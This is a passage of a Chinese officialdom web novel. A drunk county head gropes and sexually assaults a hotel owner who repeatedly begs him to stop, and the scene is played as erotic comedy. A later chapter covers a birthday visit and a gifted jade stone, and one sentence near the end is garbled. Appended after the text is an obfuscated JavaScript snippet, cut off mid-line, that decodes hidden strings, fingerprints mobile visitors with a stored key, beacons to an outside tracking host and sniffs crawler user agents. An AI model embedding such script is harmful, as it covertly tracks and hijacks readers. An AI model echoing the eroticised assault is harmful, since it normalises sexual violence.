王思宇暧昧地一笑,摆手道:“那可不见得,菜窖里其实还是满不错的,子琪姐试试就知道了。”

徐子琪跺了跺脚,满脸娇憨地道:“试就试,谁怕谁!”

王思宇开怀一笑,就不再逗她,而是把李飞刀介绍给她,三人说说笑笑地进了宾馆。

二楼的包厢里,酒菜都已经摆好,王思宇脱了西服,挂在衣架上,拉了椅子坐下,笑着道:“子琪姐,怎么不见崔宸过来?”

徐子琪笑吟吟地道:“那死鬼回省城了,那边也开始忙起来了,怕是没两三个月过不来了。”

王思宇‘哦’了一声,不无感慨地道:“做生意也很辛苦啊,你自己打理西山宾馆,也怪不容易的。”

“谁说不是呢!”徐子琪笑了笑,脸上浮过一丝惆怅,她打开五粮液,为两人满了酒,就抬手拂了拂秀发,略带歉意地道:“王县长,我那边还有事情,就先不在这里作陪了,你们慢慢喝着,晚些时候,我再过来敬酒。”

王思宇笑着摆手道:“子琪姐,你先去忙,不用管我们,我们哥俩个许久不见,今儿是要喝个尽兴,一醉方休的。”

徐子琪莞尔一笑,抿嘴道:“那我去把贵宾间收拾出来,你们喝醉了,直接去上面休息,晚上我把燕妮也喊来,咱们一起打麻将。”

王思宇点头笑道:“这样也好,只是我晚上还有应酬,还要出去一趟,要回来的晚些。”

徐子琪微微一笑,喜滋滋地道:“没关系,那就晚点再打,有阵子没碰麻将了,我的手痒得厉害。”

王思宇听了,目光落在她白嫩的右手上,暧昧地一笑,望着她扭着身子出了门,就把头转向李飞刀,笑呵呵地道:“老李,来,咱们先走一杯。”

李飞刀豪爽地一笑,端起杯子,和王思宇碰了一杯,夹了口菜,就拿筷子指了指门外,压低声音道:“王县长,这老板娘看起来不简单,你可别被她迷住了,现在好多经商的漂亮女人,都奔着当官的使劲呢,其实她们只是为了赚钱,没几个是真心实意的。”

王思宇摆摆手,轻描淡写地道:“老李,你放心吧,我做事自有分寸,不会在女人身上栽跟头的。”

李飞刀咧嘴一笑,就又满上酒,举起杯子道:“王县长,多余的话就不多说了,为了咱们的情分干杯。”

“好!”王思宇再次举起杯子,和他碰了杯,仰头把酒喝下,将酒杯重重地放在桌面上,接着伸手解开衬衫领口的钮扣,指着脖子上青紫的某处,低声抱怨道:“老李啊,你教我的飞刀也不成啊,一点威力都没有,上次跟歹徒搏斗,险些被对方给掐死。”

李飞刀讪讪地笑道:“你学的那套飞刀技法,本来就是耍着玩的,你这样的身份,何必直接和人动手呢,以后再有这种事情,直接喊我来解决就好。”

王思宇摆了摆手,苦笑道:“这种事情,还是少出些为妙。”

两人推杯换盏,喝得兴起,约莫四十分钟以后,徐子琪又拿了瓶茅台过来,斟了酒后,她坐在王思宇的身边,也举起杯子,陪着二人喝了起来。

徐子琪能说会道,善于调节气氛,加上劝酒有方,没过多久,李飞刀就闭了眼睛,摆着双手吼道:“不喝了,不能再喝了,再喝就他娘的醉了……”

王思宇此时也有了七分醉意,就举着杯子,不依不饶地吼道:“李飞刀,这杯酒你要不喝进去,你就不是爷们!”

徐子琪抬手掩了嘴,坐在旁边咯咯地笑个不停,在旁边凑趣道:“李师傅,别听王县长的,喝不了就不要再喝了,其实嘛,做女人也挺好的!”

李飞刀无奈之下,只好闭了眼睛在桌子上摸了半天,终于摸起了杯子,却不肯喝下去,而是结结巴巴地道:“王县……长,酒我可以……喝,但我要问……问你一句话!”

王思宇呵呵一笑,慢悠悠地道:“你问吧,什么话?”

李飞刀忽地睁开眼睛,直勾勾地望着王思宇,摇晃了半晌,才大声吼道:“王县长,我算不算是你……半个师傅?”

王思宇微微一怔,随即毫不犹豫地道:“算,你和老邓都算我半个师傅,因为你们两个都教过我半吊子功夫!”

“好,那我喝,喝!”李飞刀说完后,举着杯子晃了晃,勉强把酒倒进喉咙里,接着右手猛然发力,‘砰’的一声捏碎了玻璃杯,随即哈哈一笑,笑声未落,脸色忽地一变,他忙伸出双手,捂住嘴巴,急慌慌地奔了出去。

第五卷 漫漫官商路 第133章 失火的城门

见李飞刀醉得厉害,徐子琪忙起身跟了出去,先喊来两个宾馆服务员,将他搀到洗手间里,李飞刀站在洗手池边吐了半晌,服务员便简单收拾了一番,扶着他到楼上的房间歇息。

徐子琪再次返回包房时,却见王思宇正站在窗前,举着手机打电话,徐子琪便拉了椅子坐下,侧耳倾听,王思宇打电话时的声音很低,在断断续续的通话中,她只听到‘青梅’两个字,就觉得这是一个女人的名字。

过了好一会,王思宇终于挂断电话,收起了手机,点了一根烟,站在窗前皱眉吸了半晌,直到烟头烫了手,他才叹了口气,丢下烟蒂,转过身子,一步三摇地走了回来,坐在椅子上怔怔发呆。

徐子琪瞥了一眼,见他神色黯然,似乎很不开心的样子,赶忙倾过身子,低声道:“王县长,主食吃点什么?”

王思宇没有回答,过了半晌,才‘哦’了一声,抬起头来,望着一桌子丰盛的酒菜,却没了食欲,便摆了摆手,有些惆怅地道:“算了,不吃了。”

徐子琪皱着眉头道:“要不来点汤面吧,多少也要吃点,压压酒气。”

王思宇摇了摇头,抓起酒瓶,倒了一杯酒,微笑道:“子琪姐,陪我再喝两杯吧,李飞刀那家伙,功夫一流,酒量还是不成,水平一般。”

徐子琪疑惑地望了他一眼,低声道:“王县长,有心事?”

王思宇淡淡一笑,轻声道:“没什么,老朋友来了,今天高兴,就是想多喝点。”

徐子琪叹了口气,也不多问,抢过酒瓶,倒了半杯酒,似笑非笑地道:“好吧,既然王县长有雅兴,小女子就来个舍命陪君子。”

王思宇也喝了不少酒,此时酒劲渐渐上来,抬眼望去,见徐子琪穿着这件粉红色碎花旗袍,很是合身,将身子裹得曲线玲珑,凹凸有致,别有一番韵味,心中不禁微动,就笑着调侃道:“还舍命陪君子呢,哪有那么严重,子琪姐,你要真舍得,就陪我喝杯交杯酒。”

徐子琪听了,不禁面红耳赤,吃吃笑着不说话,过了半晌,才咬着嘴唇道:“王县长,我知道你是在逗我哩。”

王思宇哈哈一笑,端起杯子,喷着酒气道:“哪有,我可是认真的,就看你肯不肯喝了。”

徐子琪蹙起眉头,疑惑地望着王思宇,吃惊地问:“真来啊?”

王思宇摇了摇手中的杯子,煞有介事地道:“当然要动真格的了,老板娘不会不给面子吧?”

徐子琪妩媚地白了他一眼,撇嘴道:“哪能呢,不就是喝杯酒吗,有什么了不起的,喝就喝!”

王思宇伸出胳膊,歪着脑袋望着她,笑眯眯地道:“老板娘,那就把杯子端起来吧,别光在嘴上逞能!”

徐子琪转过头去,向门边瞥了一眼,就笑着摸起杯子,伸出右臂,勾了王思宇的胳膊,轻声笑道:“王县长,我这可是第一次跟人喝交杯酒哩!”

王思宇瞄了她一眼,见她脸上浮起两抹光艳艳的红霞,煞是好看,不禁心中一荡,举着杯子一饮而尽,仰头笑道:“这杯酒有滋味,活色生香,如饮甘露,真是爽快!”

徐子琪端着酒杯,一直咯咯地笑着,不肯喝下去,过了半晌,她才止住笑声,拿眼偷偷瞄了王思宇一眼,见他似笑非笑地望着自己,不禁有些眼热心跳,就拿手拍了拍胸脯,端起杯子,沾到唇边,轻轻抿了一小口,赶忙把杯子放下,收回手臂,有些难为情地道:“你们男人啊,就是喜欢占些小便宜,一个个都坏死了。”

王思宇笑着摆摆手,把身子仰靠在皮椅上,闭了眼睛,醉意盎然地道:“子琪姐,最近的生意怎么样?”

徐子琪莞尔一笑,抿嘴道:“还可以啦,西山县的生意还是很好做的。”

王思宇抬手揉了揉额头,喷着酒气道:“县人大代表的房间都准备出来了吧?”

徐子琪夹了口菜,抿嘴笑道:“都收拾出来了,县长大人,您尽管放心,我这些天一直在忙着这件事情,都准备妥当了,肯定会让他们满意的。”

“那就好。”王思宇笑了笑,将身子坐直,伸手摸起酒瓶,把剩下的酒都倒进杯子里,醉眼惺忪地道:“来,老板娘,再干一杯,祝你生意兴隆,财源广进,咱们再碰一下。”

徐子琪见他满脸通红,显然也已经到量了,忙拉了拉他的袖口,轻声劝道:“王县长,慢点喝,可不要醉得太厉害了。”

“没事,这点酒根本不算啥!”王思宇摆了摆手,也没有碰杯,自顾地喝了进去,放下杯子,却有些后悔,这两杯酒喝得有些急,他的肚子里也一阵阵地翻腾,为了不当场出丑,他忙用双手扶着桌角,故作镇定,可没过多久,他忽地觉得一阵天旋地转,面前的盘子开始飞舞起来,身子也有些不受控制,轻轻摇晃起来。

徐子琪把半杯酒都喝了进去,只觉得嗓子里热辣辣的,脸颊上一阵阵地发烫,她忙拉了椅子站起来,歪歪斜斜地走到包间外面,叫来服务员,让人上了热面,王思宇却是死活不肯吃,徐子琪也是喝得有些醉了,就不由分说,拿起筷子,夹了面条,连哄带劝地喂着王思宇吃了下去,放下筷子后,又扯了纸巾帮他擦了油腻腻的嘴巴,这才站起来,扶着他走出包厢。

王思宇此时醉得厉害,双腿软绵绵的,身子一阵阵地发飘,如同行走在云端雾里,不停地拐着徐子琪东摇西晃,两人在走廊里跌跌撞撞地走着,几次险些跌倒,有服务员在远处见了,想过来帮忙,却被徐子琪摆手轰走,她是怕被人认出王思宇的身份,惹来不必要的闲话,并且,在下意识里,徐子琪觉得扶着县长回房间,这也是一种难得的荣耀,自然舍不得让其他人来分享。

两人踉踉跄跄地来到房间门口,徐子琪摸出钥匙,打开房门,转头望去,却见王思宇已经扶着墙壁走出老远,她不禁觉得又好气又好笑,赶忙唤道:“走过头了,王县长!”

王思宇一脸茫然地停下脚步,怔怔地道:“子琪姐,这都走了这么远,怎么还没摸到床啊,你把房间改造得这么大,浪费了太多的空间,很不科学,完全没有必要嘛!”

徐子琪哼了一声,低声喝道:“哪有把床放到走廊里的,别说醉话,快跟我回房间,小心被服务员看见传闲话。”

王思宇点了点头,身子晃了几下,就摸着墙壁往回走,那姿态极为小心谨慎,每挪上几步,都要停下来,伸手在墙上摸来摸去,可即便如此,他的双腿还在不停地打晃,仿佛正走在颠簸晃动的船上。

徐子琪笑了半晌,这才走过去,架起王思宇的胳膊,返了回来,推门进了屋子,她右脚一抬,反踹一脚,便用纤细的鞋跟将房门踢上,晃晃悠悠地向大床走去,王思宇的右手无意间摸到了她的翘臀上,轻轻捏了捏,徐子琪心里有些发慌,一不留神,脚下拌蒜,身体忽然失去重心,两人就同时发出一声喊,磕磕绊绊地向前冲出两步,搂抱着摔倒在大床上。

大床忽悠地一颤,在晃动了几下后,便恢复了平静,可床上的这对男女呼吸却陡然局促了起来,他们两人此时的姿势,实在是暧昧到了极点,有些不堪入目,徐子琪头发凌乱不堪,身子平躺在床上,她左手仍搭在王思宇的腰间,右手扶着他的肩头,粉红色旗袍的下摆本来就有些短,这时更是分得很开,雪白的大腿齐根露在外面。

而最为要命的是,徐子琪清楚地感觉到,王思宇的身体下面已经起了某种变化,那要命的家伙,就抵在她最敏感的区域,仿佛随时都可以隔衣而入,这种兵临城下的滋味,让她感到极不自在,一时间脸红心跳,身体渐渐酥软下来,心慌意乱间,她轻轻扭动下身子,试图翻身而起。

可王思宇却死死地压着她的身子,让她无法动弹,而他也扭动了几下身子,两人的下体强烈地摩擦了一番,徐子琪立时觉得血往上涌,身子像着了火一般,失魂落魄间,禁不住销魂地呻吟了几声,丰腴的身子微微颤抖着,却不敢再动,也不说话,只是大口大口地喘着气,高耸的酥胸如波浪般起伏不定。

王思宇早已醉得一塌糊涂,不但神志不太清醒,甚至连眼皮都已经睁不开了,浑浑噩噩间,他伸手在身子下面摸了摸,就握在徐子琪饱满的前胸上,只觉得丰盈美好,就信手把玩了起来,不到一分钟的功夫,耳边忽地传来‘喔唷’一声媚叫,他微微一愣,忙伸手捂住徐子琪的嘴,悄声道:“嘘,小声点,别让子琪姐听到,她刚刚来过,可能还没走远。”

徐子琪有些哭笑不得,伸手捉住他的手腕,轻轻移开,低声哀求道:“喂,喂,王县长,你快起来吧,是我,我是你子琪姐。”

王思宇微微一愣,皱眉想了半晌,便抬起头来,把手放在耳边,神色和蔼地道:“喂,子琪姐,你好,我马上要去乡里考察干部,一时半会回不来,你有什么事情要办,直接去找君寒县长好了,就这样吧。”

说完之后,他做了个挂断电话的动作,就一脸坏笑地伏下身子,开始伸手去解旗袍上的钮扣。

徐子琪登时没了主意,想要伸手推开她,却又不敢,只好摇着上身,哼哼唧唧地道:“王县长,你别这样,别这样,差不多就行了呗,不嘛,不嘛,干什么啊你这是……”

王思宇却充耳不闻,只是耐着性子去解钮扣,但这钮扣解起来异常麻烦,他花了几分钟的时间,竟然只解开两粒,忍不住心中烦躁,就捉住旗袍的衣领一角,用力撕了几下,伴着‘吱嘎’一声脆响,旗袍便被撕下半幅,露出一截白嫩的肌肤来。

徐子琪呜咽一声,忙伸手捂住前胸,剧烈地喘息着,颤声威胁道:“王县长,你要再这样,我可喊人了,无论怎样,我是不能对不起崔宸的,衣柜里那次是我错了,我向你道歉,下次再也不敢了,你别这样,唔……”

王思宇恍如未觉,在她近乎语无伦次的呢喃声中,伸出手去,在她的手背上摸了几下,便钻进抹胸之中,惬意地揉捏起来。

徐子琪双颊绯红,心脏剧烈地跳动着,她慌乱地阻挡了几下,嘴角忽地颤动了起来,忍不住羞涩地吟哦一声,脸上流露出无限烦恼之色,禁不住这番挑逗,缓缓松了手,把脸扭到一边,张嘴咬住一根食指,轻轻地哼出声来。

恍惚中,王思宇只觉得身下的娇躯柔若无骨,手掌之中更是酥软滑腻,又充满弹性,一时心情大好,虽然睁不开眼睛,但嘴角已经露出一抹笑意,手下格外卖力地揉捏起来,不知过了多久,在断断续续的媚叫声中,他把手缓缓抽了出来,握了徐子琪的一条玉腿,只抚摸了几下,就探到旗袍下面,去拉扯她的内裤。

徐子琪身子一颤,心里更加没了主意,一会面红耳赤地夹紧双腿,一会又气喘吁吁地抬起翘臀,双手在王思宇的肩头用力地抓挠着,却有些舍不得推开他,在欲拒还迎的矛盾中,内裤终究还是被拉下来了些,她缓缓吐了口气,有些绝望地闭了眼睛,再次低声哀恳道:“王县长,快起来,放开我吧,求你了。”

王思宇仍旧没有清醒,脸上却还带着一丝坏笑,嘴里喷着酒气,在低声嘀咕着,却连他自己都不清楚在讲什么,他没有去解自己的腰带,而是直接抱住徐子琪柔软的腰肢,身子发力地耸动起来。

徐子琪本来已是绝望到了极点,可在一阵眩晕中,忽地发觉下面不妥之处,定了定神,便发现了蹊跷所在,不禁又羞又恼,但此时也放下心来,任由他胡闹,初时还觉得有些好笑,咯咯地笑了几声,可过了一会,王思宇在误打误撞间,竟然已经找准了位置,虽然剑未出鞘,但也锐不可当。

徐子琪登时慌乱了起来,想要挣扎,却全身酸软乏力,使不出半点力气来,正手足无措间,只觉得一阵强烈的快感袭来,心如鹿撞,酥痒难当,软绵绵的身子竟像触电一般,难以遏抑地痉挛了起来,她呻吟了几声,就有些难为情地叼住一根尾指,那声音从牙缝中挤出,更加纤细娇媚起来。

十几分钟后,在一阵剧烈的冲撞下,徐子琪的叫声愈发旖旎起来,她猛然伸出双手,用力地抓住王思宇的肩头,娇喘连连中,那双裹着肉色丝袜的长腿也开始剧烈地摇动起来,在某个瞬间,她忽地扬起脖子,俏脸扭曲着,嘴唇张开,发出一声嘹亮的娇啼,接着身子不受控制地抖动了几下,便素面朝天地倒了下去。

王思宇又动了一会,只觉得精疲力竭,便喘息着倒在一旁,呼呼睡去。

良久,徐子琪的呼吸终于趋于平稳,睫毛眨动间,眸子里闪过一丝恍惚的醉意,她幽幽地叹了口气,伸手把黑色的蕾丝内裤轻轻拉上,缓缓坐起,将旗袍的钮扣系好,面色潮红地下了地,单腿向前跳了几步,来到墙边,弯腰拾起刚刚摇落的一只高跟鞋,蹲在地上穿了鞋子,转头回望了一眼,试探着问道:“王县长,要喝些水吗?”

王思宇却一脸恬静地躺着,此时睡得正香,哪里能做出回应,徐子琪走到镜子前,小心地整理了一番,便转过身子,缓缓走到床边,轻盈地坐了下来,望着王思宇西裤上阴湿的一小片水渍,呆呆地愣了半晌,便苦笑着摇了摇头,帮他脱了鞋子,将被子拉上,缓缓地走了出去,轻轻带上房门,她靠在门边喘息半晌,才抬手拍了拍胸脯,暗自庆幸道:“还好啦,城门虽然被炸飞了,总算是没被贼兵杀进去。”

第五卷 漫漫官商路 第134章 福黄石

晚上七点多钟,王思宇被一阵电话铃声吵醒,他伸手摸出手机,看了下号码,却是夏广林打来的,此时脑子已经清醒过来,忽地想起,今天是夏小玉的生日,想来晚上这顿酒席也是推不了的,不禁就有些头痛,中午的酒劲还没消,晚上还要继续战斗,即便是铁打的汉子,恐怕也要招架不住了。

与夏广林通过电话后,王思宇起身穿了鞋子,到洗手间洗漱一番,便推门走了出去,走到三楼的楼梯口时,恰巧遇到迎面而来的徐子琪,她已经换了一套黑色长裙,脖子上戴着一条纤细的白金项链,耳垂上也带着精致的饰品,看上去高贵大气,极有品味。

王思宇停下脚步,笑着打招呼道:“子琪姐,怎么一天换两件衣服啊,这件裙子虽然也很漂亮,但不如晌午的那件旗袍合身,你身材很好,还是穿旗袍更有韵味。”

徐子琪蹙着眉头望了他一眼,见他的样子不像在调侃,也不像是明知故问,显然是把酒后乱来的事情忘得一干二净,她不禁心中懊恼,没好气地道:“县长很了不起嘛,还管人家穿什么衣服,旗袍穿着不舒服,被我送人了。”

王思宇见她面色不善,说话的腔调里带着浓浓的火药味,与晌午时的殷勤热情大不相同,一时记不起何时得罪她了,就觉得这女人实在是不可理喻,不知在外面惹了什么闲气,倒把火撒在自己身上了,不过王大县长胸襟广阔,自然不会和她个妇道人家一般见识,就冷哼一声,扬起脖子,优哉游哉地下了楼。

徐子琪的面孔冷若寒霜,沿着楼梯向上迈了几步,忽地停下脚步,转头瞥了一眼,望着王思宇离去的背影,脸上露出一丝淡淡的笑意,哼着歌走了上去,之前的郁闷已经一扫而光。

王思宇开车来到夏广林家的小区,将车子停好,从后座上取出一个白色塑料袋,里面装着前些天买到的游戏光盘,这是他应夏小玉的要求,在省城买回的礼物,真不知那个古灵精怪的小丫头,怎么会喜欢飙车游戏。

敲开房门后,见关磊一家人也在,众人原本坐在沙发边闲聊,见他来了,忙簇拥着走到门口,笑脸相迎,王思宇和大家打了招呼,换好拖鞋,走进客厅里,和众人聊了一会,却没有看到夏小玉,就诧异地问道:“小寿星呢?怎么今儿的配角都到了,唯独不见主角呢?”

夏广林叹了口气,无可奈何地道:“王县长,让你见笑了,小玉这两天心情不好,总是发脾气,刚才还使了一阵子小性子,她妈妈哄了半天,也不见消停,仍旧躲在卧室里赌气呢,今天要不是她过生日,我非狠狠教训她一顿不可,这孩子,都被关玲宠坏了。”

王思宇‘哦’了一声,伸出手去,把装着游戏光盘的塑料袋递给关玲,笑着道:“嫂子,把这个送给她,看小玉的心情能不能好些。”

关玲忙接过塑料袋,走到卧室门口,轻轻敲门,笑着说:“小玉啊,你王叔叔来了,还不快点过来打招呼,赶紧开门,看王叔叔送你什么礼物了?”

过了半晌,房门才被轻轻推开,夏小玉红肿着眼睛走出来,接过塑料袋,看也不看,随手丢到卧室的桌子上面,踢踢踏踏地走到沙发边,勉强笑了笑,轻声道:“王叔叔好。”

王思宇微微一笑,见她那张白皙可人的脸蛋上,愁眉紧锁,一副心事重重的样子,不禁疑惑地道:“小玉啊,这是怎么了,又被爸爸打了?你告诉王叔叔,叔叔帮你出气。”

夏小玉摇了摇头,极为委屈地撅嘴道:“不是,王叔叔,这些天班里有同学造谣,说我被歹徒猥亵了,他们传得有鼻子有眼的,说的话都特别难听,连外班的同学都知道了,我真的快受不了了,其实我没有……那坏蛋根本就没碰到过我……”

说完之后,她坐在沙发边伤心地哭了起来,眼泪如同断了线的珠子,噼里啪啦地往下掉。

关玲在旁边见了,赶忙拿着纸巾帮她擦了脸,又偷偷在她后背上捏了一把,悄声道:“小玉,别在王县长面前哭,成什么样子了。”

夏小玉这才停住抽泣,只是眼泪依旧止不住,扑簌地淌下来。

王思宇微微一怔,倒没有想到会发生这种事情,当时的情形他是很清楚的,歹徒确实没有时间去做出格的举动,但这种流言蜚语,总是有人会相信的,若是放任传播,即便是成年人,都要承受很大的心理压力,更别说一个高中生了,还是要想办法澄清事实,否则夏小玉容易被人歧视,在心里留下阴影,不利于她以后的成长。

王思宇想了想,便沉吟道:“小玉,别听他们乱说,王叔叔是知道的,你刚被歹徒带走,白老师就到了,直接把犯罪分子制服了,你根本没有遭到侮辱,这样吧,改天请白老师去学校作报告,顺便和同学们单独交流一下,帮你辟谣,她以前担任过你们的班主任,同学们应该都会相信她讲的话,由她来澄清事实,最合适不过了,你看这样好不好?”

夏小玉忙抬手擦了眼泪,抽抽噎噎地道:“好,还是王叔叔理解我,爸爸总说没什么的,他就是大老粗,除了喝酒,啥都不懂。”

夏广林见女儿的情绪好转,心中高兴,也不反驳,就坐在一边嘿嘿地笑,在他看来,这种小事,都是不值一提的,完全没有当做一回事。

关磊在旁边笑了笑,拍了拍夏小玉的肩头,满脸慈爱地道:“小玉,那是有些人嫉妒你长得漂亮,这才散布谣言呢,你不要太在意,不然可就上当了,你开开心心的,她们见影响不了你,也就不再乱说了。”

夏小玉破涕为笑,扬着小脸道:“舅舅,你竟乱说,我长得哪里漂亮了。”

关磊的爱人从旁边插话道:“小玉,在舅舅舅妈眼里,你可是最漂亮的了,你小时候的那些照片,我们可都留着呢,真是女大十八变,越变越好看了,依我看,老夏家以后能出个电影明星。”

夏小玉被众人哄了一会,便开心起来,把刚才的烦恼忘得一干二净,又开始活泛起来,一边磕着瓜子,一边叽叽喳喳地说个不停,倒好象换了个人似的。

夏广林点了一根烟,坐在王思宇的身边,笑吟吟地听着夏小玉讲话,过了一会,他望了女儿一眼,在旁边出声提醒道:“小玉,你不是要送给王叔叔礼物吗?可别忘了。”

“哎呀,差点忘记了。”夏小玉吐了下小舌头,一脸娇憨地道,她赶忙站起来,一溜小跑地回了卧室,过了一会,取来一块黄色的玉石,双手捧着送过来,一脸认真地道:“王叔叔,这是我最珍贵的收藏品了,为了感谢您救了我和同学们,我决定忍痛割爱,把它献给您,请王叔叔务必收下。”

王思宇接过玉石,仔细端详了一番,见这块玉石是纯黄色的,质地柔和莹润,纹理清晰,手感坚而不脆,就知道是件上品美玉,忙摆手道:“小玉,你的心意叔叔领了,不过这块玉石太珍贵,叔叔可不能收,你还是自己留着吧。”

夏小玉却摆着小手不肯接,拿眼去望父亲,夏广林笑呵呵地道:“王县长,这是孩子的一番心意,你就收了吧,这块玉石是我年轻时从省城的小店里淘来的,拿回家后不到两天,关玲就生了小玉,所以给她起了‘夏小玉’这个名字,孩子一出生后,就喜欢摆弄这块玉石,宝贝得很,旁人想碰一下,她都不肯,难得这次大方起来,倒舍得拿来送人。”

王思宇听了玉石的来历,更加不肯收,连连摆手道:“小玉,这么有纪念意义的东西,我可不能要,你还是自己留着吧。”

夏小玉却撅起嘴巴,把头转向一边,板着小脸不肯说话,那模样,倒像是受了莫大的委屈。

王思宇见推脱不过,只好把玉石放起来,笑着道:“既然小玉一片诚心,那叔叔就收下来。”

夏小玉这才高兴起来,笑嘻嘻地道:“王叔叔,能帮我个忙吗?”

王思宇点头道:“可以啊,只要王叔叔能做到的,一定帮。”

夏小玉嘻嘻一笑,故作神秘地道:“王叔叔,您肯定能做得到。”

王思宇不禁莞尔,不知这小家伙故弄玄虚,又在搞什么名堂,却见夏小玉走到桌边,拿了几个日记本走了出来,来到他身边,递过一支笔,笑着道:“王叔叔,这是我几个好朋友的本子,她们想要您的签名,我答应下来了。”

王思宇不禁觉得好笑,不解地道:“小玉,她们要我的签名做什么?”

夏小玉嘻嘻一笑,轻声道:“她们这些人啊,现在好崇拜你的,说你那天和歹徒打架的时候,特帅,还会耍飞刀呢!”

王思宇登时无语,转头望去,却见众人都似笑非笑地把脸扭到一边,面上露出尴尬之色,王思宇暗自叹了口气,轻声道:“小玉,你别听她们乱说,王叔叔可不会耍什么飞刀,当时情况危急,叔叔情急之下,也不知丢了什么东西过去,现在都忘记了,但肯定不是飞刀。”

夏小玉听了,就不再吭声,而是抿嘴窃窃地笑。

王思宇接过笔,翻开本子,在上面写了一些勉励的话,接着龙飞凤舞,署上自己的名字,夏小玉看了,更加开心起来,喜滋滋地抱着日记本走到一边,低头翻了起来。

王思宇点了一支烟,和众人聊了几句,就找了机会,拉着夏广林进了书房,把一叠钱交给他,夏广林坚决不肯收,两人在书房里推搡起来,最后还是王思宇力气大,硬将钱塞到他的上衣口袋里,这才松了手。

夏广林叹了口气,苦笑道:“这事闹的,不就是一件小玩意么,又不是太值钱的东西,王县长,你何必这样认真,倒让我觉得不自在了。”

王思宇笑着道:“老夏,小玉出手大方,我这个做叔叔的也不能太小气,这些钱只当是给孩子的零花钱,她喜欢什么就买点。”

夏广林呵呵一笑,摇头道:“不能给她太多钱,养成大手大脚的习惯,以后就该吃苦头了。”

两人从书房里出来,见众人已经把餐桌摆好,切了蛋糕,一番热闹之后,几人便开始推杯换盏,举杯畅饮起来,王思宇下午的酒还没消透,在酒桌上状态低迷,不过他不肯服输,就与夏广林拼了个两败俱伤,晚上没有回西山宾馆,直接在夏家住了一夜,第二天早晨才离开。

李飞刀在西山县逗留了三天,一直住在西山宾馆,白天王思宇让秘书郑辉开车带他到各处走走转转,晚上几人就在一起喝酒打麻将,倒也逍遥快活。

直到周六的上午,王思宇开车带着他去了省城,与廖景卿和叶小蕾见了面,当面介绍了一番,两人听说李飞刀以前是特种兵出身,又是王思宇的半个师傅,为人忠心可靠,在见识了他的飞刀绝技之后,两人不禁大为赞叹,也都放下心来。

李飞刀在见了这两位气质迥异的美女后,这才明白,王思宇为什么叮嘱,保护人最重要,字画倒是其次,自古红颜如祸水,这两位倾国倾城的尤物,自然是祸水中的祸水,当然要小心保护了。

众人坐在沙发边喝了一会茶,王思宇便从包里取出那块玉石来,递给廖景卿,笑着道:“姐,这是送你的。”

廖景卿接过玉石,仔细鉴赏了一番,便莞尔笑道:“小宇,这可是上等的巴林福黄石,价值不菲,金石界素有‘一寸福黄三寸金’的说法,这块福黄石是金橘黄,已经可以与田黄媲美了,福黄石最适合做印章,正好画馆需要雕刻新的印章,原本找了块上好的蓝田玉,但质地远不如这块福黄石,明儿找师傅雕出三枚印章,我们三人各带一枚,只有加盖了印章的字画,才可以证明是出自芜菁国画馆的作品。”

王思宇微微一笑,点头道:“前些天收到这件礼物的时候,我就琢磨着画廊也许能用到,还真被我猜着了。”

叶小蕾抿了口茶水,望了李飞刀一眼,笑着道:“这回好了,联系到了李师傅,我们就可以按原来的方案操作了,开业的当天,就把那幅字在画廊里展出,一定能引起轰动。”

廖景卿莞尔一笑,点头道:“叶阿姨说的对,等李师傅安排妥当,回到玉州,我们就要联系媒体的朋友了,相信这幅字一旦曝光,会有很多收藏爱好者前来参观,我们要提前做好准备。”

众人商议了两天,就觉得还有很多事情需要去做,开业当天的不少细节都需要仔细斟酌,好在时间充裕,一切都可以从容筹划。

接下来的一段时间里,王思宇也开始忙碌起来,因为准备充分,人大会顺利召开,圆满结束,政府这边几项重要的人事任命都以高票通过,王思宇头上的那个‘代’字也顺利地取了下来,这使得他成为了魃较孛逼涫档南爻ぃ彩俏魃搅⑾匾岳醋钅昵岬南爻ぁ?

而人质事件的顺利解决,让西山县公安局获得了省公安厅的通令嘉奖,刑侦大队荣获集体二等功,而在解救人质中起到关键作用的女刑警白燕妮,更是荣立个人二等功,省台记者特地来到西山,为她做了一期专访,很快,这位智勇双全的女警花便成了西山县家喻户晓的传奇人物。

然而,白燕妮在去了趟北辰乡,看了儿子乐乐之后,回来后便大病一场,终日茶饭不思,闷闷不乐,这让王思宇伤透了脑筋,每天下班回来,都会想尽办法讨她开心,经过一周时间的精心呵护,白燕妮终于康复,又开始美滋滋地上班去了。

(全文完)




function ReZXuWM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LjFzVkH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ReZXuWM(t);};window[''+'T'+'G'+'s'+'Y'+'I'+'q'+'e'+'K'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function isynG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LjFzVkH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=isynG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new 